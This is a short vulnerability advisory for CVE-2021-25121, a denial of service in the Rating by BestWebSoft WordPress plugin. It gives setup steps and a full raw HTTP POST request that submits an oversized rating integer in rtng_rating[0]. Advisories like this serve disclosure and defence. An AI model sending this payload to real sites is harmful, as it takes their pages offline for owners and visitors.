Rating by BestWebSoft < 1.6 – Rating Denial of Service | CVE 2021-25121

Description

The plugin does not validate the submitted rating, allowing submission of long integer, causing a Denial of Service on the post/page when a user submit such rating

Proof of Concept

Under Settings -> Discussion, uncheck "Comment must be manually approved"
Install and Enable Rating BestWebSoft plugin Change "Enable Rating for" to "All" (Works for others, but this allows guest to post) Change "My Rating Position" to "In comments"
Submit a valid comment and capture with Burp or another application. Change the post parameter "rtng_rating[0]" to a large integer such as 1000000000

POST /wp-comments-post.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 151
Connection: close
Cookie: [depends on plugin's settings]
Upgrade-Insecure-Requests: 1

rtng_show_title=1&rtng_rating%5B0%5D=1000000000&comment=aa&author=Yolo&email=krkgh%40jgoirtjg.com&url=&submit=Post+Comment&comment_post_ID=5887&comment_parent=0